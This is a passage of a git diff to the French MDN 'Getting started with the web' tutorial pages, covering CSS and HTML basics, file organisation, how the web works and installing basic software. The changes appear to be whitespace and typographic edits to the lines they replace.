pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant. +Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant. #### Guides fondamentaux @@ -108,7 +108,7 @@ ll est recommandé d'avoir des connaissances de base en HTML avant de commencer #### Comment saurai-je que je suis prêt à passer à autre chose ? -Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant. +Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant. #### Guides fondamentaux @@ -128,7 +128,7 @@ Les formulaires nécessitent des connaissances en HTML, CSS et JavaScript. Étan #### Comment saurai-je que je suis prêt à passer à autre chose ? -Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant. +Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant. #### Guides fondamentaux @@ -144,7 +144,7 @@ Il est conseillé de connaître les langages HTML, CSS et JavaScript avant de pa #### Comment saurai-je que je suis prêt à passer à autre chose ? -Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.. +Les évaluations de chaque module sont conçues pour tester vos connaissances sur le sujet. En complétant les évaluations, vous confirmez que vous êtes prêt à passer au module suivant.. #### Guides fondamentaux diff --git a/files/fr/learn/getting_started_with_the_web/css_basics/index.md b/files/fr/learn/getting_started_with_the_web/css_basics/index.md index 50903d57fe..4021f41a89 100644 --- a/files/fr/learn/getting_started_with_the_web/css_basics/index.md +++ b/files/fr/learn/getting_started_with_the_web/css_basics/index.md @@ -14,7 +14,7 @@ original_slug: Apprendre/Commencer_avec_le_web/Les_bases_CSS {{LearnSidebar}} {{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_HTML", "Apprendre/Commencer_avec_le_web/Les_bases_JavaScript","Apprendre/Commencer_avec_le_web")}} -Les CSS (_Cascading Style Sheets_ en anglais, ou « feuilles de style en cascade ») sont le code utilisé pour mettre en forme une page web. _Les bases des CSS_ présentent ce qu'il faut savoir pour commencer. Nous répondrons à des questions comme : Comment rendre mon texte rouge ou noir ? Comment faire apparaître mon contenu à tel endroit de l'écran ? Comment décorer ma page web avec une image ou une couleur d'arrière-plan ? +Les CSS (_Cascading Style Sheets_ en anglais, ou « feuilles de style en cascade ») sont le code utilisé pour mettre en forme une page web. _Les bases des CSS_ présentent ce qu'il faut savoir pour commencer. Nous répondrons à des questions comme : Comment rendre mon texte rouge ou noir ? Comment faire apparaître mon contenu à tel endroit de l'écran ? Comment décorer ma page web avec une image ou une couleur d'arrière-plan ? ## Donc, que sont les CSS, réellement ? @@ -46,7 +46,7 @@ Regardons un peu plus en détails ce que nous avons écrit en CSS :  -Cette structure s'appelle **un ensemble de règles** (ou seulement « une règle »). Les différentes parties se nomment : +Cette structure s'appelle **un ensemble de règles** (ou seulement « une règle »). Les différentes parties se nomment : - Sélecteur - : C'est le nom de l'élément HTML situé au début de l'ensemble de règles. Il permet de sélectionner les éléments sur lesquels appliquer le style souhaité (en l'occurence, les éléments `p`). Pour mettre en forme un élément différent, il suffit de changer le sélecteur. @@ -117,20 +117,20 @@ Maintenant que nous avons vu quelques bases de CSS, ajoutons quelques règles et } ``` - > **Note :** Tout ce qui est entre `/*` et `*/` dans un document CSS est un **commentaire** **de CSS.** Le navigateur l'ignorera dans le rendu du code. C'est un endroit commode pour écrire des notes à propos de ce que vous faites. + > **Note :** Tout ce qui est entre `/*` et `*/` dans un document CSS est un **commentaire** **de CSS.** Le navigateur l'ignorera dans le rendu du code. C'est un endroit commode pour écrire des notes à propos de ce que vous faites. 4. Ensuite, fixons les tailles des différents textes contenus dans le corps du HTML ({{htmlelement("h1")}}, {{htmlelement("li")}}, et {{htmlelement("p")}}). Nous allons également centrer le texte du titre et donner une taille de ligne et un espacement de caractère entre les lettres pour que le contenu du corps (_body_) du document soit plus lisible : ```css h1 { - font-size: 60px; - text-align: center; + font-size: 60px; + text-align: center; } p, li { - font-size: 16px; - line-height: 2; - letter-spacing: 1px; + font-size: 16px; + line-height: 2; + letter-spacing: 1px; } ``` @@ -244,7 +244,7 @@ Dans cet article, nous n'avons fait qu'effleurer les bases de CSS. Pour continue ## Dans ce module - [Installer les logiciels de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) -- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) - [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) - [Bases du HTML](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML) - [Bases des CSS](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS) diff --git a/files/fr/learn/getting_started_with_the_web/dealing_with_files/index.md b/files/fr/learn/getting_started_with_the_web/dealing_with_files/index.md index 888c4afd58..ea40468473 100644 --- a/files/fr/learn/getting_started_with_the_web/dealing_with_files/index.md +++ b/files/fr/learn/getting_started_with_the_web/dealing_with_files/index.md @@ -17,7 +17,7 @@ original_slug: Apprendre/Commencer_avec_le_web/Gérer_les_fichiers Un site web est composé de nombreux fichiers : contenu textuel, code, feuilles de styles, contenus média, etc. Lors de la construction d'un site web, ces fichiers doivent être organisés et rangés sur votre ordinateur afin qu'ils puissent interagir les uns avec les autres et que le contenu s'affiche correctement. Une fois que c'est fait, vous pourrez alors [téléverser ces fichiers sur un serveur](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web). _Gérer les fichiers_ aborde certains problèmes auxquels vous devez faire attention pour mettre en place une organisation judicieuse des fichiers de votre site web. -## Où placer votre site web sur votre ordinateur ? +## Où placer votre site web sur votre ordinateur ? Lorsque vous travaillez sur votre site web sur votre propre ordinateur, tous les fichiers liés au site devraient être présents dans un dossier dont le contenu reflète la structure des fichiers sur le serveur. Ce dossier peut être n'importe où sur votre ordinateur, l'idéal étant qu'il soit simple à retrouver, par exemple sur votre Bureau ou dans votre dossier personnel, voire à la racine du disque dur. @@ -42,14 +42,14 @@ Cela dit, regardons la structure que le site de test devrait avoir. Les élémen 3. **un dossier `styles`** : ce dossier contiendra le code des CSS utilisé pour la mise en forme du contenu (par exemple pour définir les couleurs à utiliser pour le texte et l'arrière-plan). Créez un dossier nommé `styles` dans votre dossier `site-test`. 4. **un dossier `scripts`** : ce dossier contiendra le code JavaScript utilisé pour ajouter des fonctionnalités interactives sur votre site (par exemple, des boutons qui permettent de charger des données lorsqu'on clique dessus). Créez un dossier nommé `scripts` dans votre dossier `site-test`. -> **Note :** Sur Windows, vous aurez peut être des problèmes pour voir le nom des fichiers en entier. En effet, Windows possède une option, activée par défaut : **Masquer les extensions pour les types de fichiers connus**. Généralement, il est possible de la désactiver en allant dans l'explorateur de fichiers, en sélectionnant **Options des dossiers...**, en enlevant la coche de **Masquer les extensions pour les types de fichier connus** puis en cliquant sur **OK**. Pour des informations propres à votre version de Windows, recherchez sur le Web ! +> **Note :** Sur Windows, vous aurez peut être des problèmes pour voir le nom des fichiers en entier. En effet, Windows possède une option, activée par défaut : **Masquer les extensions pour les types de fichiers connus**. Généralement, il est possible de la désactiver en allant dans l'explorateur de fichiers, en sélectionnant **Options des dossiers...**, en enlevant la coche de **Masquer les extensions pour les types de fichier connus** puis en cliquant sur **OK**. Pour des informations propres à votre version de Windows, recherchez sur le Web ! ## Les chemins de fichiers -Pour que les fichiers puissent converser entre eux, il faut préciser le chemin pour les trouver — en résumé, la route qu'un fichier doit connaître pour situer l'autre fichier. Nous allons illustrer cela avec un peu de HTML dans `index.html` pour que la page affiche l'image choisie dans l'article « [Quel aspect pour votre site web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) ». +Pour que les fichiers puissent converser entre eux, il faut préciser le chemin pour les trouver — en résumé, la route qu'un fichier doit connaître pour situer l'autre fichier. Nous allons illustrer cela avec un peu de HTML dans `index.html` pour que la page affiche l'image choisie dans l'article « [Quel aspect pour votre site web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) ». 1. Copiez l'image précédemment choisie dans votre dossier `images`. -2. Ouvrez le fichier `index.html` et insérez le code suivant exactement comme indiqué. Ne vous préoccupez pas de sa signification pour le moment — nous verrons les structures plus en détail par la suite. +2. Ouvrez le fichier `index.html` et insérez le code suivant exactement comme indiqué. Ne vous préoccupez pas de sa signification pour le moment — nous verrons les structures plus en détail par la suite. ```html <!DOCTYPE html> @@ -79,7 +79,7 @@ Quelques règles générales à propos des chemins de fichier : Pour le moment, c'est tout ce qu'il y a à savoir. -> **Note :** Le système de fichiers Windows utilise des barres obliques inversées (_backslash_ : « \ ») et non des barres obliques (_slash_ : « / »), par exemple `C:\windows`. Cela n'intervient pas en HTML — même si vous développez votre site sur Windows, vous devez toujours utiliser des barres obliques (« / ») dans votre code.. +> **Note :** Le système de fichiers Windows utilise des barres obliques inversées (_backslash_ : « \ ») et non des barres obliques (_slash_ : « / »), par exemple `C:\windows`. Cela n'intervient pas en HTML — même si vous développez votre site sur Windows, vous devez toujours utiliser des barres obliques (« / ») dans votre code.. ## Autre chose ? @@ -90,7 +90,7 @@ C'est tout ce qu'il y a à faire pour le moment en ce qui concerne les fichiers. ## Dans ce module - [Installer les logiciels de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) -- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) - [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) - [Bases du HTML](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML) - [Bases des CSS](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS) diff --git a/files/fr/learn/getting_started_with_the_web/how_the_web_works/index.md b/files/fr/learn/getting_started_with_the_web/how_the_web_works/index.md index 7a9faca86f..7db199ac7d 100644 --- a/files/fr/learn/getting_started_with_the_web/how_the_web_works/index.md +++ b/files/fr/learn/getting_started_with_the_web/how_the_web_works/index.md @@ -24,7 +24,7 @@ Ces éléments théoriques ne sont pas strictement nécessaires pour commencer ## Des clients et des serveurs -Les ordinateurs qui se connectent au Web sont appelés des **clients** et des **serveurs**. Voici un diagramme simplifié qui illustre comment ils interagissent : +Les ordinateurs qui se connectent au Web sont appelés des **clients** et des **serveurs**. Voici un diagramme simplifié qui illustre comment ils interagissent :  @@ -35,11 +35,11 @@ Les ordinateurs qui se connectent au Web sont appelés des **clients** et des ** Le client et le serveur ne sont pas les seuls éléments qui interviennent. Il y a beaucoup d'autres composants que nous allons décrire dans la suite de cet article. -Faisons un parallèle entre le Web et une rue. D'un côté de la rue, il y a une maison qui correspond au client. De l'autre côté, un magasin correspondant au serveur, et dans lequel vous souhaitez acheter quelque chose. +Faisons un parallèle entre le Web et une rue. D'un côté de la rue, il y a une maison qui correspond au client. De l'autre côté, un magasin correspondant au serveur, et dans lequel vous souhaitez acheter quelque chose.  -En plus du client et du serveur, nous devons aussi mentionner : +En plus du client et du serveur, nous devons aussi mentionner : - **la connexion Internet** : elle permet l'envoi et la réception de données sur le web. Dans notre comparaison, elle correspond à la rue entre la maison et le magasin. - **TCP/IP** : **T**ransmission **C**ontrol **P**rotocol / **I**nternet **P**rotocol (en français : protocole de contrôle de transmission et protocole Internet) sont des protocoles définissant comment les données voyagent sur le web. C'est comme les mécanismes de transport qui vous permettent de passer une commande, d'aller au magasin et d'acheter vos marchandises. Dans notre exemple, ce serait une voiture ou un vélo (ou quoi que ce soit d'autre que vous trouveriez). @@ -56,14 +56,14 @@ Lorsque vous saisissez une adresse web dans votre navigateur (dans notre compara 1. le navigateur demande au DNS l'adresse réelle du serveur contenant le site web (vous trouvez l'adresse du magasin). 2. le navigateur envoie une requête HTTP au serveur pour lui demander d'envoyer une copie du site web au client (vous allez au magasin et vous passez commande). Ce message, et les autres données envoyées entre le client et le serveur, sont échangés par l'intermédiaire de la connexion internet en utilisant TCP/IP. -3. si le serveur accepte la requête émise par le client, le serveur envoie un message « 200 OK » au client qui signifie : « Pas de problème, tu peux consulter ce site web, le voici ». Ensuite le serveur commence à envoyer les fichiers du site web au navigateur sous forme d'une série de petits morceaux nommés "paquet" (le magasin vous livre les produits et vous les ramenez chez vous). -4. le navigateur assemble les différents morceaux pour recomposer le site web en entier puis l'affiche sur votre écran (les produits sont à votre porte — des nouveaux trucs tout neufs, génial !). +3. si le serveur accepte la requête émise par le client, le serveur envoie un message « 200 OK » au client qui signifie : « Pas de problème, tu peux consulter ce site web, le voici ». Ensuite le serveur commence à envoyer les fichiers du site web au navigateur sous forme d'une série de petits morceaux nommés "paquet" (le magasin vous livre les produits et vous les ramenez chez vous). +4. le navigateur assemble les différents morceaux pour recomposer le site web en entier puis l'affiche sur votre écran (les produits sont à votre porte — des nouveaux trucs tout neufs, génial !). ## Des explications sur le DNS -Les vraies adresses Web ne sont pas les chaînes agréables et mémorisables que vous tapez dans votre barre d'adresse pour trouver vos sites Web favoris, mais des suites de chiffres. Ces suites de chiffre sont des nombres spéciaux qui ressemblent à ceci : 63.245.208.195. +Les vraies adresses Web ne sont pas les chaînes agréables et mémorisables que vous tapez dans votre barre d'adresse pour trouver vos sites Web favoris, mais des suites de chiffres. Ces suites de chiffre sont des nombres spéciaux qui ressemblent à ceci : 63.245.208.195. -Ce sont des {{Glossary("IP Address", "adresses IP")}} ; elles représentent un endroit unique sur le Web. Par contre, elles ne sont pas très faciles à retenir (n'est‑ce pas ?). C'est pour cela que le système des noms de domaine (DNS) a été conçu. Les serveurs DNS sont des serveurs spéciaux qui font correspondre une adresse web saisie dans le navigateur (par exemple « mozilla.org ») avec l'adresse réelle (IP) du serveur du site. +Ce sont des {{Glossary("IP Address", "adresses IP")}} ; elles représentent un endroit unique sur le Web. Par contre, elles ne sont pas très faciles à retenir (n'est‑ce pas ?). C'est pour cela que le système des noms de domaine (DNS) a été conçu. Les serveurs DNS sont des serveurs spéciaux qui font correspondre une adresse web saisie dans le navigateur (par exemple « mozilla.org ») avec l'adresse réelle (IP) du serveur du site. Il est possible d'atteindre directement les sites web en utilisant leurs adresses IP. Pour aller sur le site de Mozilla, vous pouvez saisir `63.245.215.20` dans la barre d'adresse d'un nouvel onglet de votre navigateur. diff --git a/files/fr/learn/getting_started_with_the_web/html_basics/index.md b/files/fr/learn/getting_started_with_the_web/html_basics/index.md index c17845af41..928b4aabb0 100644 --- a/files/fr/learn/getting_started_with_the_web/html_basics/index.md +++ b/files/fr/learn/getting_started_with_the_web/html_basics/index.md @@ -18,7 +18,7 @@ original_slug: Apprendre/Commencer_avec_le_web/Les_bases_HTML ## Qu'est-ce que HTML, réellement ? -HTML n'est pas un langage de programmation. C'est un _langage de balises_ qui définit la structure de votre contenu. HTML se compose d'une série d'**{{Glossary("element", "éléments")}}**, utilisés pour entourer, ou envelopper, les diverses parties du contenu pour les faire apparaître ou agir d'une certaine façon. Les {{Glossary("tag", "balises")}} entourantes peuvent être rendues par un mot ou une image lien hypertexte vers quelque chose d'autre, un texte en italique, une police plus grande ou plus petite, et ainsi de suite. Par exemple, avec la ligne de contenu suivante : +HTML n'est pas un langage de programmation. C'est un _langage de balises_ qui définit la structure de votre contenu. HTML se compose d'une série d'**{{Glossary("element", "éléments")}}**, utilisés pour entourer, ou envelopper, les diverses parties du contenu pour les faire apparaître ou agir d'une certaine façon. Les {{Glossary("tag", "balises")}} entourantes peuvent être rendues par un mot ou une image lien hypertexte vers quelque chose d'autre, un texte en italique, une police plus grande ou plus petite, et ainsi de suite. Par exemple, avec la ligne de contenu suivante : Mon chat est très grincheux @@ -55,19 +55,19 @@ Un attribut doit toujours avoir : ### Imbriquer des éléments -Vous pouvez placer des éléments au sein d'autres éléments, c'est ce qu'on appelle l'**imbrication**. Par exemple, si vous souhaitez montrer que votre chat est **très** grincheux, vous pouvez placer le mot « très » dans un élement {{htmlelement("strong")}}, signifiant que le mot sera fortement mis en relief : +Vous pouvez placer des éléments au sein d'autres éléments, c'est ce qu'on appelle l'**imbrication**. Par exemple, si vous souhaitez montrer que votre chat est **très** grincheux, vous pouvez placer le mot « très » dans un élement {{htmlelement("strong")}}, signifiant que le mot sera fortement mis en relief : ```html example-good <p>Mon chat est <strong>très</strong> grincheux.</p> ``` -Toutefois, il faut faire attention à ce que les éléments soient bien imbriqués les uns dans les autres. Dans l'exemple précédent, on ouvre l'élément {{htmlelement("p")}}, puis l'élément {{htmlelement("strong")}}. Nous devrons donc fermer l'élément {{htmlelement("strong")}} d'abord, puis l'élement {{htmlelement("p")}}. Le code suivant est incorrect : +Toutefois, il faut faire attention à ce que les éléments soient bien imbriqués les uns dans les autres. Dans l'exemple précédent, on ouvre l'élément {{htmlelement("p")}}, puis l'élément {{htmlelement("strong")}}. Nous devrons donc fermer l'élément {{htmlelement("strong")}} d'abord, puis l'élement {{htmlelement("p")}}. Le code suivant est incorrect : ```html example-bad <p>Mon chat est <strong>très grincheux.</p></strong> ``` -Les éléments doivent être ouverts et fermés correctement de façon à ce qu'ils soient clairement à l'intérieur ou à l'extérieur les uns des autres. S'ils se chevauchent, le navigateur essaiera de choisir la meilleure option, qui ne sera peut-être pas ce que vous vouliez dire et pourrait conduire à des résultats inattendus. Donc ne le faites pas ! +Les éléments doivent être ouverts et fermés correctement de façon à ce qu'ils soient clairement à l'intérieur ou à l'extérieur les uns des autres. S'ils se chevauchent, le navigateur essaiera de choisir la meilleure option, qui ne sera peut-être pas ce que vous vouliez dire et pourrait conduire à des résultats inattendus. Donc ne le faites pas ! ### Les éléments vides @@ -103,7 +103,7 @@ Cet exemple contient : - `<head></head>` — l'élément `<head>`. Cet élément est utilisé comme un container pour toutes les choses qui font partie de la page HTML mais qui ne sont pas du contenu affiché. C'est dans cet élément qu'on mettra des {{Glossary("keyword", "mots-clés")}}, une description de la page qui apparaîtra sur les moteurs de recherche, les liens vers les fichiers CSS à utiliser pour la mise en forme, les déclarations des jeux de caractères à utiliser et ainsi de suite. - `<body></body>` — l'élément {{htmlelement("body")}}. Cet élément est celui qui contient _tout_ le contenu que vous souhaitez afficher pour qu'il soit vu par les visiteurs : cela peut être du texte, des images, des vidéos, des jeux, des pistes audio jouables, et ainsi de suite. - `<meta charset="utf-8">` — Cet élément définit le jeu de caractères qui devrait être utilisé pour le document et indique que c'est utf-8. utf-8 regroupe l'ensemble des caractères connus utilisés dans les différents langages humains. Généralement, utf-8 permet de gérer n'importe quel texte que vous pourriez utiliser sur la page. Il n'y a pas de raison de ne pas le définir, et il permet d'éviter certains problèmes plus tard. -- `<title></title>` — L'élément {{htmlelement("title")}} définit le titre de votre page. C'est ce titre qui apparaîtra sur l'onglet lorsque la page sera chargée. C'est également ce titre qui sera utilisé pour décrire la page lorsque vous la placez dans vos marques-pages. +- `<title></title>` — L'élément {{htmlelement("title")}} définit le titre de votre page. C'est ce titre qui apparaîtra sur l'onglet lorsque la page sera chargée. C'est également ce titre qui sera utilisé pour décrire la page lorsque vous la placez dans vos marques-pages. ## Images @@ -115,7 +115,7 @@ Regardons à nouveau l'élément image : Comme on l'a vu auparavant, cet élément permet d'intégrer une image dans la page, à l'endroit où l'élément apparaît. L'image utilisée est définie via l'attribut `src` (pour source) qui contient le chemin vers le fichier de l'image. -Nous avons aussi utilisé l'attribut `alt` (pour **alt**ernatif). Il contient un texte descriptif de l'image à l'intention des utilisateurs qui ne peuvent pas voir l'image, car : +Nous avons aussi utilisé l'attribut `alt` (pour **alt**ernatif). Il contient un texte descriptif de l'image à l'intention des utilisateurs qui ne peuvent pas voir l'image, car : 1. ils sont mal-voyants. Les utilisateurs handicapés visuellement utilisent souvent des outils nommés lecteurs d'écrans pour lire le texte de cet attribut ; 2. quelque chose s'est mal passé et l'image n'a pas pu être affichée. Par exemple, modifiez volontairement le chemin dans votre attribut `src` et faites qu'il soit incorrect. Si vous enregistrez et rechargez la page, vous verrez quelque chose comme ceci à la place de l'image : @@ -209,7 +209,7 @@ Les liens sont très importants, ce sont eux qui font que le web est une **_toil <a href="https://www.mozilla.org/fr/about/manifesto/">Manifeste Mozilla</a> ``` -Attention à ne pas oublier la partie avec `https://` ou `http://` qui représente le _protocole_ utilisé, au début de l'adresse. Une fois que vous avez créé un lien, testez votre page et cliquez dessus pour vous assurer qu'il fonctionne correctement. +Attention à ne pas oublier la partie avec `https://` ou `http://` qui représente le _protocole_ utilisé, au début de l'adresse. Une fois que vous avez créé un lien, testez votre page et cliquez dessus pour vous assurer qu'il fonctionne correctement. > **Note :** `href` peut sembler un peu étrange à première vue. Une explication sur l'origine du nom pourra vous aider à mieux vous en souvenir : href correspond à <i lang="en">**h**ypertext **ref**erence</i> en anglais, ce qui signifie « référence hypertexte » en français. @@ -230,7 +230,7 @@ Dans cet article, nous n'avons fait qu'effleurer la surface de HTML. Pour en app ## Dans ce module - [Installer les logiciels de base](/fr/Apprendre/Commencer_avec_le_web/Installation_outils_de_base) -- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) +- [Quel aspect pour votre site Web ?](/fr/Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site) - [Gérer les fichiers](/fr/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers) - [Bases du HTML](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_HTML) - [Bases des CSS](/fr/docs/Apprendre/Commencer_avec_le_web/Les_bases_CSS) diff --git a/files/fr/learn/getting_started_with_the_web/index.md b/files/fr/learn/getting_started_with_the_web/index.md index ab6e125564..29ca77bff6 100644 --- a/files/fr/learn/getting_started_with_the_web/index.md +++ b/files/fr/learn/getting_started_with_the_web/index.md @@ -38,15 +38,15 @@ Un site web contient plusieurs types de fichiers (texte, code, feuilles de style ### [Les bases de HTML](/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML) -Hypertext Markup Language (HTML) correspond au code que vous utiliserez pour structurer les différents contenus en ligne. Par exemple, le contenu sera‑t‑il un ensemble de paragraphes, ou une liste à puces ? Y aura‑t‑il des images insérées ? Aurai‑je une table de données ? Sans vous submerger, [Les bases du HTML](/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML) vous donne assez d'informations pour que vous soyez un familier du HTML. +Hypertext Markup Language (HTML) correspond au code que vous utiliserez pour structurer les différents contenus en ligne. Par exemple, le contenu sera‑t‑il un ensemble de paragraphes, ou une liste à puces ? Y aura‑t‑il des images insérées ? Aurai‑je une table de données ? Sans vous submerger, [Les bases du HTML](/fr/Apprendre/Commencer_avec_le_web/Les_bases_HTML) vous donne assez d'informations pour que vous soyez un familier du HTML. ### [Les bases des CSS](/fr/Apprendre/Commencer_avec_le_web/Les_bases_CSS) -Les _Cascading Stylesheets_ (CSS) (« feuilles de styles en cascade ») reçoivent le code à utiliser pour mettre en forme votre site Web. Par exemple, voulez‑vous que le texte soit en noir ou en rouge ? Où le contenu doit‑il être placé sur l'écran ? Quelles devront être les images de fond et les couleurs utilisées pour décorer votre site web ? [« Les bases des CSS »](/fr/Apprendre/Commencer_avec_le_web/Les_bases_CSS) vous apprendra tout ce dont vous avez besoin pour commencer. +Les _Cascading Stylesheets_ (CSS) (« feuilles de styles en cascade ») reçoivent le code à utiliser pour mettre en forme votre site Web. Par exemple, voulez‑vous que le texte soit en noir ou en rouge ? Où le contenu doit‑il être placé sur l'écran ? Quelles devront être les images de fond et les couleurs utilisées pour décorer votre site web ? [« Les bases des CSS »](/fr/Apprendre/Commencer_avec_le_web/Les_bases_CSS) vous apprendra tout ce dont vous avez besoin pour commencer. ### [Les bases de JavaScript](/fr/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript) -JavaScript est le langage de programmation à utiliser pour ajouter des fonctionnalités interactives dans vos sites Web, par exemple des jeux, les événements déclenchés lorsqu'un bouton est pressé ou lorsque des données sont entrées dans un formulaire, des effets de style dynamiques, des animations, etc. [Les bases de JavaScript](/fr/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript) vous offrent un aperçu des possibilités de ce puissant langage et vous montre comment commencer à l'utiliser. +JavaScript est le langage de programmation à utiliser pour ajouter des fonctionnalités interactives dans vos sites Web, par exemple des jeux, les événements déclenchés lorsqu'un bouton est pressé ou lorsque des données sont entrées dans un formulaire, des effets de style dynamiques, des animations, etc. [Les bases de JavaScript](/fr/Apprendre/Commencer_avec_le_web/Les_bases_JavaScript) vous offrent un aperçu des possibilités de ce puissant langage et vous montre comment commencer à l'utiliser. ### [Publier votre site web](/fr/Apprendre/Commencer_avec_le_web/Publier_votre_site_web) diff --git a/files/fr/learn/getting_started_with_the_web/installing_basic_software/index.md b/files/fr/learn/getting_started_with_the_web/installing_basic_software/index.md index 7b45872eec..76ca1c920b 100644 --- a/files/fr/learn/getting_started_with_the_web/installing_basic_software/index.md +++ b/files/fr/learn/getting_started_with_the_web/installing_basic_software/index.md @@ -24,8 +24,8 @@ Dans cet article, nous allons vous montrer les outils dont vous aurez besoin pou - **Un navigateur web**, pour y tester le code. Les navigateurs les plus utilisés sont [Firefox](https://www.mozilla.org/firefox/new/), [Chrome](https://www.google.com/chrome/browser/), [Opera](http://www.opera.com/), [Safari](https://www.apple.com/safari/), [Internet Explorer](http://windows.microsoft.com/fr-fr/internet-explorer/download-ie) et [Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge) . Vous devez également tester le fonctionnement de votre site sur les appareils mobiles, et sur tous les anciens navigateurs que votre public cible utilise encore beaucoup (comme IE 8-10). - **Un éditeur graphique**, comme [GIMP](http://www.gimp.org/), [Paint.NET](http://www.getpaint.net/), [Krita](https://krita.org/) ou [Photoshop](http://www.adobe.com/uk/products/photoshop.html) pour réaliser les images de vos pages web. - **Un système de contrôle de versions**, pour gérer les fichiers sur le serveur, collaborer sur les projets avec une équipe, partager le code et les ressources et éviter les conflits d'édition. À ce jour, [Git](http://git-scm.com/) est l'outil lde contrôle de version le plus connu et le service d'hébergement de code [GitHub](https://github.com), fondé sur Git, est également très populaire**.** -- **Un programme FTP**, utilisé sur les anciens comptes d'hébergement Web pour gérer les fichiers sur les serveurs ([Git](http://git-scm.com/) remplace de plus en plus le FTP à cette fin). Il existe une grande quantité de programmes de ce genre comme [Cyberduck](https://cyberduck.io/), [Fetch](http://fetchsoftworks.com/) et [FileZilla](https://filezilla-project.org/). -- **Un système d'automatisation**, comme [Grunt](http://gruntjs.com/) ou [Gulp](http://gulpjs.com/), pour automatiser les tâches répétitives, comme minimiser le code, ou lancer des tests. +- **Un programme FTP**, utilisé sur les anciens comptes d'hébergement Web pour gérer les fichiers sur les serveurs ([Git](http://git-scm.com/) remplace de plus en plus le FTP à cette fin). Il existe une grande quantité de programmes de ce genre comme [Cyberduck](https://cyberduck.io/), [Fetch](http://fetchsoftworks.com/) et [FileZilla](https://filezilla-project.org/). +- **Un système d'automatisation**, comme [Grunt](http://gruntjs.com/) ou [Gulp](http://gulpjs.com/), pour automatiser les tâches répétitives, comme minimiser le code, ou lancer des tests. - Des modèles, bibliothèques, frameworks, etc. pour accélérer le développement de fonctionnalités courantes. - Et encore plus d'outils ! @@ -37,30 +37,30 @@ Cette liste peut paraître effrayante, mais heureusement vous pouvez vous lancer Vous avez probablement un éditeur de texte basique sur votre ordinateur. Par défaut Windows propose [Notepad](https://fr.wikipedia.org/wiki/Bloc-notes_%28Windows%29) et macOS, [TextEdit](https://fr.wikipedia.org/wiki/TextEdit). Pour les distributions Linux cela varie. Ubuntu propose [gedit](https://fr.wikipedia.org/wiki/Gedit) par défaut. -Pour le développement web, vous trouverez surement mieux que Notepad ou TextEdit. Nous vous recommandons de commencer avec [Visual Studio Code](https://code.visualstudio.com/), qui est un éditeur libre offrant des aperçus en direct et des conseils de code. +Pour le développement web, vous trouverez surement mieux que Notepad ou TextEdit. Nous vous recommandons de commencer avec [Visual Studio Code](https://code.visualstudio.com/), qui est un éditeur libre offrant des aperçus en direct et des conseils de code. ### Installer un navigateur moderne Pour l'instant, nous n'installerons que deux navigateurs pour y tester notre code. Choisissez votre système d'exploitation ci-dessous et cliquez sur les liens pour télécharger les programmes d'installation correspondants à vos navigateurs favoris : - Linux : [Firefox](https://www.mozilla.org/en-US/firefox/new/), [Chrome](https://www.google.com/chrome/browser/), [Opera](http://www.opera.com/). -- Windows : [Firefox](https://www.mozilla.org/en-US/firefox/new/), [Chrome](https://www.google.com/chrome/browser/), [Opera](http://www.opera.com/), [Internet Explorer](http://windows.microsoft.com/en-us/internet-explorer/download-ie), [Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge) (Windows 10 est livré avec Edge par défaut, si vous avez Windows 7 ou supérieur, vous pouvez installer Internet Explorer 11, sinon, vous devez installer un autre navigateur). +- Windows : [Firefox](https://www.mozilla.org/en-US/firefox/new/), [Chrome](https://www.google.com/chrome/browser/), [Opera](http://www.opera.com/), [Internet Explorer](http://windows.microsoft.com/en-us/internet-explorer/download-ie), [Microsoft Edge](https://www.microsoft.com/en-us/windows/microsoft-edge) (Windows 10 est livré avec Edge par défaut, si vous avez Windows 7 ou supérieur, vous pouvez installer Internet Explorer 11, sinon, vous devez installer un autre navigateur). - Mac : [Firefox](https://www.mozilla.org/en-US/firefox/new/), [Chrome](https://www.google.com/chrome/browser/), [Opera](http://www.opera.com/), [Safari](https://www.apple.com/safari/) (Safari est 